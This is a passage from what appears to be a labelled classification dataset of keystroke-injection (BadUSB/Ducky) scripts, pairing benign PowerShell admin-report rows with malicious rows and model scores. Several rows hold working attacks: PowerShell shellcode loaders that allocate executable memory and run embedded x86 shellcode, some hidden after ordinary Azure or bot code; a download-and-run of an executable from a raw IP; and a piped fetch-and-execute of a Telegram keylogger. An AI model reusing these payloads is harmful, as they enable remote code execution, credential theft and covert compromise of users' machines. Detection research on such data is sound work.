Write-CustomObject -HostName $HostName -IPAddress $Target -Results Failure -Protocol TCP -Port $Port enter } enter finally { enter $TCPConnection.Close | Out-Null enter $TCPConnection.Dispose | Out-Null enter } enter } enter if ($Protocol -like ""UDP"") { enter try { enter Write-Verbose -Message ""Trying to establish a connection from '$($HostName)' to '$($Target)' using '$($Protocol) $($Port)'"" enter $UDPConnection = New-Object System.Net.Sockets.UdpClient($Target, $Port) enter if ($UDPConnection -ne $null) { enter Write-CustomObject -HostName $HostName -IPAddress $Target -Results Success -Protocol UDP -Port $Port enter } enter } enter catch { enter Write-CustomObject -HostName $HostName -IPAddress $Target -Results Failure -Protocol UDP -Port $Port enter } enter finally { enter $UDPConnection.Close | Out-Null enter $UDPConnection.Dispose | Out-Null enter } enter } enter } enter } enter } enter End { enter Write-Verbose -Message ""Finished processing"" enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x58,0x7a,0x17,0x20,0x68,0x02,0x00,0x11,0x51,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1368974e-05,0.9999486
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_39i0i2to"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_200.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.367082e-05
"DUCKY_REAL_BEGIN enter REM This script opens an infinite dialog box on MacOS enter REM that continuously displays the message ""I'll Never Leave"" with an ""OK"" button. enter REM It runs in the background using the nohup command. enter REM The script then clears the terminal and exits. enter REM To end the loop you need to Kill the PID enter REM In the terminal, use the command ""pgrep osascript"" to find the PID of the dialog box loop enter REM Run the command 'Kill PID #' to end the dialog box loop enter REM Author: Narsty enter REM Title: Infinite Dialog Box enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Executions enter ID 05ac:021e Apple:Keyboard enter DELAY 500 enter GUI SPACE enter DELAY 500 enter STRING terminal enter DELAY 1000 enter ENTER enter DELAY 1000 enter STRING nohup osascript -e 'repeat' -e 'set dialogResult to button returned of (display dialog ""I'""'""'ll Never Leave"" buttons {""Option 1"", ""Option 2"", ""Option 3""} default button 1)' -e 'end repeat' >/d enter DELAY 500 enter GUI k enter DELAY 500 enter GUI w enter DUCKY_REAL_END",1,1,6.16265e-05,0.99993837
win+r powershell enter  function Test-ProviderShareSubscriptionGrantAndRevoke { $resourceGroup = get enter AssetName $AccountName = getAssetName $ShareName = getAssetName $ShareSubId = enter getAssetName $resourceId = getAssetName $revoked = Revoke-AzDataShareSubscri enter ptionAccess -ResourceGroupName $resourceGroup -AccountName $AccountName -ShareNa enter me $ShareName -ShareSubscriptionId $ShareSubId Assert-NotNull $revoked enter enter,1,1,0.0046625524,0.99533737
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_f0pp68n7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4633922e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_6xwtc26l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.408916e-05
win enter win b ctrl l ctrl l www.youtube.com enter ctrl t ctrl l ctrl l www.facebook.com enter ctrl t ctrl l ctrl l https://www.nytimes.com/ enter ctrl t ctrl l ctrl l <link to your site> enter ctrl d ctrl t ctrl l ctrl l instagram.com enter ctrl t ctrl l ctrl l twitter.com enter ctrl t ctrl l ctrl l whatsapp.com enter ctrl t ctrl l ctrl l pinterest.com enter ctrl t ctrl l ctrl l microsoft.com enter ctrl t ctrl l ctrl l imdb.com enter ctrl t ctrl l ctrl l netflix.com enter ctrl t ctrl l ctrl l apple.com enter ctrl t ctrl l ctrl l globo.com enter ctrl t ctrl l ctrl l translate.google.com enter ctrl t ctrl l ctrl l it.wikipedia.org enter ctrl t ctrl l ctrl l openai.com enter ctrl t win enter,1,1,0.0011314804,0.9988686
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_n8oyqhpy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_warnings_100.csv"") -NoTypeInformation enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3869717e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_178jzq93"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_150.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_40.json"") -Encoding UTF8 enter",0,0,0.9999654,3.4574685e-05
win+r enter powershell enter enter enter class ApprovalConfiguration { enter [int]$ExpireMinutes enter [System.Collections.ArrayList]$Commands enter enter ApprovalConfiguration() { enter $this.ExpireMinutes = 30 enter $this.Commands = New-Object -TypeName System.Collections.ArrayList enter } enter enter [hashtable]ToHash() { enter $hash = @{ enter ExpireMinutes = $this.ExpireMinutes enter } enter $cmds = New-Object -TypeName System.Collections.ArrayList enter $this.Commands | Foreach-Object { enter $cmds.Add($_.ToHash()) > $null enter } enter $hash.Commands = $cmds enter enter return $hash enter } enter enter static [ApprovalConfiguration] Serialize([hashtable]$DeserializedObject) { enter $ac = [ApprovalConfiguration]::new() enter $ac.ExpireMinutes = $DeserializedObject.ExpireMinutes enter $DeserializedObject.Commands.foreach({ enter $ac.Commands.Add( enter [ApprovalCommandConfiguration]::Serialize($_) enter ) > $null enter }) enter enter return $ac enter } enter } enter enter,0,0,0.999752,0.00024800087
win r powershell -nop -ep bypass -w h -c $tg='token_here'; irm https://raw.githubusercontent.com/beigew0rm/badusb-files-for-flipperzero/main/telegram-keylogger/main.ps1 | iex enter,1,1,0.00013816012,0.99986184
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_hmwt3vxs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_100.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4291697e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_d8wxtmnp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Get-WinEvent -LogName Application -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_25.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3828717e-05
"win+r enter powershell enter enter enter $subscriptionId = 'yourSubscriptionId' enter $certpwd=""Password enter $certfolder=""c:\mycertificates\"" enter $adminuser=""vmadmin"" enter $adminpwd=""Password enter $clusterloc=""SouthCentralUS"" enter $clustername = ""mysfcluster"" enter $groupname=""mysfclustergroup"" enter $vmsku = ""Standard_D2_v2"" enter $vaultname = ""mykeyvault"" enter $subname=""$clustername.$clusterloc.cloudapp.azure.com"" enter $clustersize=5 enter Select-AzSubscription -SubscriptionId $subscriptionId enter New-AzServiceFabricCluster -Name $clustername -ResourceGroupName $groupname -Location $clusterloc ` enter -ClusterSize $clustersize -VmUserName $adminuser -VmPassword $adminpwd -CertificateSubjectName $subname ` enter -CertificatePassword $certpwd -CertificateOutputFolder $certfolder ` enter -OS WindowsServer2016DatacenterwithContainers -VmSku $vmsku -KeyVaultName $vaultname enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xb2,0x4a,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1834337e-05,0.99994814
"win space terminal enter enter csrutil status > ~/desktop/security_info.txt && sleep 2 enter enter spctl --status >> ~/desktop/security_info.txt && sleep 2 enter enter codesign -dv --verbose=4 /bin/bash >> ~/desktop/security_info.txt && sleep 2 enter enter ps aux | grep -v ""root\|_"" >> ~/desktop/security_info.txt && sleep 2 enter enter lsof -i >> ~/desktop/security_info.txt && sleep 2 enter",1,1,0.03607876,0.9639212
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx enter 64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.90345e-05,0.999941
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_70vjsiwa"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.375718e-05
"win+r enter powershell enter enter enter function Remove-GroupUser { enter enter [PoshBot.BotCommand( enter Permissions = 'manage-groups' enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot, enter enter [parameter(Mandatory, Position = 0)] enter [string]$Group, enter enter [parameter(Mandatory, Position = 1)] enter [string]$User enter ) enter enter if ($g = $Bot.RoleManager.GetGroup($Group)) { enter if ($userId = $Bot.RoleManager.ResolveUsernameToId($User)) { enter try { enter $bot.RoleManager.RemoveUserFromGroup($userId, $Group) enter New-PoshBotCardResponse -Type Normal -Text ""User [$User] removed from group [$Group]."" -ThumbnailUrl $thumb.success enter } catch { enter New-PoshBotCardResponse -Type Error -Text ""Failed to remove [$User] from group [$Group]"" -ThumbnailUrl $thumb.error enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""User [$User] not found :("" -Title 'Rut row' -ThumbnailUrl $thumb.rutrow enter } enter } else { enter New-PoshBotCardResponse -Type Warning -Text ""Group [$Group] not found :("" -Title 'Rut row' -ThumbnailUrl $thumb.rutrow enter } enter } enter enter $l8g4 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $l8g4 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x6c,0xcc,0x9b,0x7f,0xd9,0xc6,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,0x47,0x31,0x53,0x13,0x03,0x53,0x13,0x83,0xeb,0x90,0x2e,0x6e,0x83,0x80,0x2d,0x91,0x7c,0x50,0x52,0x1b,0x99,0x61,0x52,0x7f,0xe9,0xd1,0x62,0x0b,0xbf,0xdd,0x09,0x59,0x54,0x56,0x7f,0x76,0x5b,0xdf,0xca,0xa0,0x52,0xe0,0x67,0x90,0xf5,0x62,0x7a,0xc5,0xd5,0x5b,0xb5,0x18,0x17,0x9c,0xa8,0xd1,0x45,0x75,0xa6,0x44,0x7a,0xf2,0xf2,0x54,0xf1,0x48,0x12,0xdd,0xe6,0x18,0x15,0xcc,0xb8,0x13,0x4c,0xce,0x3b,0xf0,0xe4,0x47,0x24,0x15,0xc0,0x1e,0xdf,0xed,0xbe,0xa0,0x09,0x3c,0x3e,0x0e,0x74,0xf1,0xcd,0x4e,0xb0,0x35,0x2e,0x25,0xc8,0x46,0xd3,0x3e,0x0f,0x35,0x0f,0xca,0x94,0x9d,0xc4,0x6c,0x71,0x1c,0x08,0xea,0xf2,0x12,0xe5,0x78,0x5c,0x36,0xf8,0xad,0xd6,0x42,0x71,0x50,0x39,0xc3,0xc1,0x77,0x9d,0x88,0x92,0x16,0x84,0x74,0x74,0x26,0xd6,0xd7,0x29,0x82,0x9c,0xf5,0x3e,0xbf,0xfe,0x91,0xf3,0xf2,0x00,0x61,0x9c,0x85,0x73,0x53,0x03,0x3e,0x1c,0xdf,0xcc,0x98,0xdb,0x20,0xe7,0x5d,0x73,0xdf,0x08,0x9e,0x5d,0x1b,0x5c,0xce,0xf5,0x8a,0xdd,0x85,0x05,0x33,0x08,0x33,0x03,0xa3,0x8d,0xa9,0x06,0x7e,0x9a,0x33,0x19,0x91,0x01,0xbd,0xff,0xc1,0xe5,0xed,0xaf,0xa1,0x55,0x4e,0x00,0x49,0xbc,0x41,0x7f,0x69,0xbf,0x8b,0xe8,0x03,0x50,0x62,0x40,0xbb,0xc9,0x2f,0x1a,0x5a,0x15,0xfa,0x66,0x5c,0x9d,0x09,0x96,0x12,0x56,0x67,0x84,0xc2,0x96,0x32,0xf6,0x44,0xa8,0xe8,0x9d,0x68,0x3c,0x17,0x34,0x3f,0xa8,0x15,0x61,0x77,0x77,0xe5,0x44,0x0c,0xbe,0x73,0x27,0x7a,0xbf,0x93,0xa7,0x7a,0xe9,0xf9,0xa7,0x12,0x4d,0x5a,0xf4,0x07,0x92,0x77,0x68,0x94,0x07,0x78,0xd9,0x49,0x8f,0x10,0xe7,0xb4,0xe7,0xbe,0x18,0x93,0xf9,0x83,0xce,0xdd,0x8f,0xed,0xd2;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$pQ3J=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($pQ3J.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$pQ3J,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.152981e-05,0.9999485
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_92whpv4s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3811946e-05
"win+r powershell enter  $SqlQuery = "" SELECT server_name + '.' + domain AS Server_Name , IP_Address enter FROM t_server s INNER JOIN t_server_properties sp ON s.server_id = sp.server_id enter INNER JOIN t_server_type_assoc sta ON s.server_id = sta.server_id INNER JOIN enter t_server_type st ON sta.type_id = st.type_id WHERE st.type_name LIKE '%SQL%' ORD enter ER BY IP_Address"" enter enter",1,1,0.011977186,0.9880228
"win+r powershell enter unknown_key_action ATTACKMODE HID STORAGE enter unknown_key_action EXTENSION PASSIVE_WINDOWS_DETECT enter unknown_key_action REM_BLOCK DOCUMENTATION enter unknown_key_action Windows fully passive OS Detection and passive Detect Ready enter unknown_key_action Includes its own passive detect ready. enter unknown_key_action Does not require additional extensions. enter unknown_key_action USAGE: enter unknown_key_action Extension runs inline (here) enter unknown_key_action Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter unknown_key_action boot delay enter unknown_key_action $_OS will be set to WINDOWS or NOT_WINDOWS enter unknown_key_action See end of payload for usage within payload enter unknown_key_action END_REM enter unknown_key_action DEFINE #MAX_WAIT 150 enter unknown_key_action DEFINE #CHECK_INTERVAL 20 enter unknown_key_action DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 enter unknown_key_action DEFINE #NOT_WINDOWS 7 enter unknown_key_action $_OS = #NOT_WINDOWS enter unknown_key_action VAR $MAX_TRIES = #MAX_WAIT enter unknown_key_action WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter delay_medium enter unknown_key_action $MAX_TRIES = ($MAX_TRIES - 1) enter unknown_key_action END_WHILE enter unknown_key_action IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN enter unknown_key_action $_OS = WINDOWS enter unknown_key_action END_IF enter unknown_key_action REM_BLOCK EXAMPLE USAGE AFTER EXTENSION enter unknown_key_action IF ($_OS == WINDOWS) THEN enter HELLO WINDOWS! enter unknown_key_action ELSE enter HELLO WORLD! enter unknown_key_action END_IF enter unknown_key_action END_REM enter unknown_key_action END_EXTENSION enter unknown_key_action DEFINE #DRIVE_LABEL DUCKY enter unknown_key_action DEFINE #PS1_FILE_NAME 1.ps1 enter unknown_key_action IF ($_OS == WINDOWS) THEN enter delay_medium enter win+r enter delay_medium enter powershell -ExecutionPolicy Bypass enter enter enter delay_long enter unknown_key_action STRINGLN_POWERSHELL enter unknown_key_action $targetLabel = ""#DRIVE_LABEL"" enter unknown_key_action $volume = Get-Volume | Where-Object { $_.FileSystemLabel -eq $targetLabel } enter unknown_key_action $driveLetter = $volume.DriveLetter + "":"" enter unknown_key_action cd $driveletter enter unknown_key_action END_STRINGLN enter .\#PS1_FILE_NAME enter enter enter unknown_key_action END_IF enter",1,1,5.930619e-05,0.99994063
"win+r enter powershell enter enter enter $VH9 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $VH9 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0x33,0x79,0x59,0x42,0xdb,0xc7,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x47,0x83,0xc0,0x04,0x31,0x68,0x0f,0x03,0x68,0x3c,0x9b,0xac,0xbe,0xaa,0xd9,0x4f,0x3f,0x2a,0xbe,0xc6,0xda,0x1b,0xfe,0xbd,0xaf,0x0b,0xce,0xb6,0xe2,0xa7,0xa5,0x9b,0x16,0x3c,0xcb,0x33,0x18,0xf5,0x66,0x62,0x17,0x06,0xda,0x56,0x36,0x84,0x21,0x8b,0x98,0xb5,0xe9,0xde,0xd9,0xf2,0x14,0x12,0x8b,0xab,0x53,0x81,0x3c,0xd8,0x2e,0x1a,0xb6,0x92,0xbf,0x1a,0x2b,0x62,0xc1,0x0b,0xfa,0xf9,0x98,0x8b,0xfc,0x2e,0x91,0x85,0xe6,0x33,0x9c,0x5c,0x9c,0x87,0x6a,0x5f,0x74,0xd6,0x93,0xcc,0xb9,0xd7,0x61,0x0c,0xfd,0xdf,0x99,0x7b,0xf7,0x1c,0x27,0x7c,0xcc,0x5f,0xf3,0x09,0xd7,0xc7,0x70,0xa9,0x33,0xf6,0x55,0x2c,0xb7,0xf4,0x12,0x3a,0x9f,0x18,0xa4,0xef,0xab,0x24,0x2d,0x0e,0x7c,0xad,0x75,0x35,0x58,0xf6,0x2e,0x54,0xf9,0x52,0x80,0x69,0x19,0x3d,0x7d,0xcc,0x51,0xd3,0x6a,0x7d,0x38,0xbb,0x5f,0x4c,0xc3,0x3b,0xc8,0xc7,0xb0,0x09,0x57,0x7c,0x5f,0x21,0x10,0x5a,0x98,0x46,0x0b,0x1a,0x36,0xb9,0xb4,0x5b,0x1e,0x7d,0xe0,0x0b,0x08,0x54,0x89,0xc7,0xc8,0x59,0x5c,0x7d,0xcc,0xcd,0x9f,0x2a,0xcf,0x0b,0x48,0x29,0xd0,0x11,0x12,0xa4,0x36,0x45,0x72,0xe7,0xe6,0x25,0x22,0x47,0x57,0xcd,0x28,0x48,0x88,0xed,0x52,